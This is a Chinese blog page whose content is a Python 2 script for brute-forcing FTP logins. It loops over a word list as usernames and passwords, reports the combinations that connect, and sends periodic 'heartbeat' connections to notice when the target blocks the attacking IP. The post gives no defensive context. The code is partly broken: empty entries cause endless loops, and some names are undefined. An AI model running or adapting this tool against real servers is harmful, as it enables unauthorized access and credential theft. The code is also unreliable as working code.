python ftp 暴破
#################################################################### from ftplib import FTP import socket socket.setdefaulttimeout(5) #设置了全局默认超时时间 def ftp_open(host,user,passwd,port=21): #打开FTP try: ftp = FTP(host) ftp.connect(host,port) #连接 服务器名 端口号 ftp.login(user,passwd) ftp.quit() #ftpB.quit() #退出ftp服务器 return 1 except: return 0 def link_ftp(host): #TXT导入数组 组合密码 遍历连接FTP ###### 遍历数组组合出 密码 try: I1 = 0 #得到list的第一个元素 while I1 < len(LS.list_2): #print "第几组密码:",I1 if LS.list_2[I1]=='': continue #跳过 if I1==len(LS.list_2): break #退出循环 I2 = 0 #得到list的第一个元素 p_p_p = 0 #心跳包计数器 while I2 < len(LS.list_2): if LS.list_2[I2]=='': continue #跳过 ########################### #当做心跳包使用 如果检测不到了 还能连接就退出 #防止人家屏蔽IP 20次检测一次心跳 try: if p_p_p>=20: print "_-_", ftpB = FTP() #初始化FTP类 ftpB.connect(host,21) #连接 服务器名 端口号 ftpB.quit() #退出ftp服务器 p_p_p=0 p_p_p=p_p_p+1 except: print u"检测心跳包----心跳停止" sql_sel() #SQL查询 return 0 ########################### #print u"IP:",host,u"用户名:",LS.list_2[I1],u"密码:",LS.list_2[I2] if ftp_open(host,LS.list_2[I1],LS.list_2[I2]): #打开FTP #print u"连接成功" print u"\nIP:",host,u"用户名:",LS.list_2[I1],u"密码:",LS.list_2[I2],u"连接成功" else: print u".", I2 = I2 + 1 #二层 I1 = I1 + 1 #一层 sql_sel() #SQL查询 except: print u"遍历数组组合出 密码错误" sql_sel() #SQL查询 return 0
python,go,redis,mongodb,.net,C#,F#,服务器架构
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· C++代码改造为UTF-8编码问题的总结
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· 【.NET】调用本地 Deepseek 模型
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库